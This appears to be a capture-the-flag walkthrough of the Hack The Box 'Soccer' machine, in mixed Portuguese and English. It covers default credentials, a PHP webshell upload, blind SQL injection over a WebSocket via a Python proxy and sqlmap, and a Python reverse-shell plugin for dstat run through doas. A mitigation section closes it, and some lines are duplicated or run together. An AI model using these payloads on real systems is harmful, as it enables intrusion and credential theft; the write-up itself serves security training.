Soccer
Introdução
https://app.hackthebox.com/machines/Soccer
Tiny File Manager. As credenciais padrão foram encontradas na página do projeto no GitHub. Dentro da aplicação há uma função de upload de arquivo, que usamos para obter shell no servidor. In/etc/hostswe encontramos outro domínio que possui uma página web adicional. Nessa página, identificamos uma conexão via websocket. Usei um script em Python para traduzir as chamadas do websocket e permitir o uso do sqlmap sobre elas. It’s aBlind SQLi. Enumerando com o sqlmap, encontramos as credenciais do usuário player. Para escalar privilégios, executamos o doas como root rodando o dstat, no qual inserimos um plugin malicioso code .
Enumeração
First step is to enumerate the box. For this we’ll use nmap.
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.11.194 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.194
Nmap tell us there are three open ports 22 ssh****, 80 http and 9091 ???.
Port 80 (http)
HTTP port redirect to http://soccer.htb/
Add that in /etc/hosts file.
http://soccer.htb/

Fuzzing Diretório WEB
gobuster dir -u http://soccer.htb/ -w /usr/share/wordlists/dir/big.txt -t 100 -e --no-error -r -f -x php
There’re login page running web app Tiny File Manager.
http://soccer.htb/tiny/
In source code, it informe the origen the tiny.
view-source:http://soccer.htb/tiny/tinyfilemanager.php
We find credential default the login page.
User: admin
Pass: admin@123https://github.com/prasathmani/tinyfilemanagerLogin it.
Exploração
Getting the Shell - Upload File
Dentro da aplicação web é possível fazer upload de arquivos; então vamos injetar código PHP para obter uma reverse shell.
I use webshell from pentest monkey.
After execute webshell, we get shell as www-data.

Pós-Exploração
www-data → player
Enumerating the box, we found an other domain: soc-player.soccer.htb
cat /etc/hosts
Add that in /etc/hosts file.
There’re a page with login
http://soc-player.soccer.htb/
In login, we can create a user.
After entering the user we created, enumerate the page
We found that the page do a connection websocker in port 9091
I used Burp to visualize better
I discovery Blind SQL Injection.
Before I started to test this input for SQLi I looked at the page source code, and found a clue to how we will have to enumerate for the possible SQLi.
Now that we know the URL to try against, and the connection type, we can now research a tool for this, as I’ve never done SQLi through WebSockets.
Refer: https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html I found the top result to be perfect fit for need, as they provide a python script to act as MITM for payloads, as like a translator; now we can use this with sqlmap.
Need to modify ‘ws_server’ and ‘data’ to fit our needs.
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from >
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs
After a long while, sqlmap finds soccer_db and the username player.
Agora podemos testar as credenciais recém-descobertas contra o serviço SSH do servidor; o login é bem-sucedido e capturamos a flag de usuário.
ssh player@soccer.htb
Pass: PlayerOftheMatch2022
Player → Root
I first check sudo permissions, but none were available, and the user wasn’t in any other groups. Here I ran linpeas and found a few mentions of ‘doas’, which isn’t a software installed by default.

O doas é um software com a mesma função do mais conhecido sudo, porém sem os recursos extras que o sudo possui por design, como suporte a Kerberos e LDAP. Também é desenvolvido e mantido pela equipe por trás do OpenBSD. I will check its default
/etc/doas.conflocation.
find / -type f -name doas.conf 2>/dev/null
We found it, and it has substance. User ‘player’ is allowed to use root for dstat. Upon first thought, I’d never used dstat, so I looked at the tool by running it, and it was a tool for monitoring usage of a server. So now I look in the man page for it.
Within the man page’s ‘PLUGINS’ seção, é mencionada a possibilidade de escrever plugins próprios para a ferramenta; e mais abaixo, como a imagem acima mostra, aparecem os diversos caminhos onde nossos plugins customizados podem ser armazenados. Quanto à convenção de nomenclatura is ‘dstat_*.py’ .
We can now create our file dstat_evil.py.
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
Now I run doas.
doas -u root /usr/bin/dstat --evil
HABEMUS ROOT!!!
Anexos
Ferramentas e scripts utilizados durante o teste:
- Nmap — varredura de portas e detecção de serviços/versões.
- Tiny File Manager (credenciais padrão) — acesso inicial ao gerenciador de arquivos exposto na aplicação web.
- Webshell PHP simples (
<?php system($_REQUEST["cmd"]); ?>) — enviado via upload do Tiny File Manager para obter execução de comandos. - Script Python (pty/socket) — usado para obter uma reverse shell interativa a partir da webshell, conectando de volta à máquina atacante.
- Script Python para encapsular sqlmap sobre WebSocket — como o sqlmap não conversa nativamente com WebSocket da forma exigida pela aplicação, foi usado um script intermediário para repassar os payloads da injeção ao endpoint
ws://soc-player.soccer.htb:9091. - sqlmap — exploração e automação da SQL Injection cega (Blind SQLi), incluindo enumeração de bancos, tabelas e dump da tabela de contas.
- doas — usado (de forma abusiva) para escalar privilégios executando o
dstatcomo root. - Plugin Python malicioso para dstat — plugin customizado colocado em um diretório com permissão de escrita para o usuário
player, executado automaticamente pelodstatao rodar como root, entregando uma shell root.
Mitigação
Recomendações práticas para corrigir as falhas exploradas nesta máquina:
- Nunca usar credenciais padrão em produção. O Tiny File Manager foi comprometido porque o usuário/senha padrão (
admin/admin@123euser/12345) nunca foi alterado. Toda aplicação com autenticação embutida deve ter suas credenciais padrão trocadas imediatamente após a instalação. - Restringir upload de arquivos executáveis. O gerenciador de arquivos permitia upload de arquivos
.phpem um diretório servido publicamente pelo nginx/PHP-FPM. É preciso bloquear extensões executáveis no upload, validar o conteúdo do arquivo (e não apenas a extensão) e, idealmente, armazenar uploads fora da raiz web ou em diretórios sem permissão de execução de scripts. - Restringir o acesso a ferramentas administrativas expostas na web. Um painel como o Tiny File Manager não deveria estar acessível publicamente sem controles adicionais (autenticação multifator, restrição por IP, VPN).
- Validar e sanitizar toda entrada de usuário, inclusive em WebSockets. A aplicação Node/Express que validava tickets via WebSocket montava a query diretamente com o valor recebido, permitindo SQL Injection cega. Deve-se usar consultas parametrizadas (prepared statements) em qualquer canal de comunicação, não só em formulários HTTP tradicionais.
- Nunca armazenar ou transmitir senhas em texto puro. A senha do usuário
playerfoi encontrada em texto claro na tabelaaccountsdo banco de dados. Senhas devem ser sempre armazenadas com hash forte (bcrypt, Argon2) e nunca reutilizadas entre múltiplos serviços (a mesma senha dava acesso ao MySQL e ao SSH). - Revisar regras do doas/sudo e permissões de diretórios de plugins. Permitir que um usuário não privilegiado execute como root uma ferramenta que carrega plugins de diretórios graváveis por esse mesmo usuário (como
/usr/local/share/dstat) anula completamente o controle de privilégio. Diretórios usados por binários comdoas/sudoNOPASSWD devem ser protegidos contra escrita por usuários não-root, e o uso de comandos com efeitos colaterais amplos (como ferramentas que carregam plugins arbitrários) deve ser evitado em regras de elevação de privilégio. - Aplicar o princípio do menor privilégio. Reduzir ao mínimo indispensável os comandos liberados via
doas/sudo, evitando liberar ferramentas genéricas que podem ser abusadas para execução de código arbitrário.
Login it.
Need to modify ‘ws_server’ and ‘data’ to fit our needs.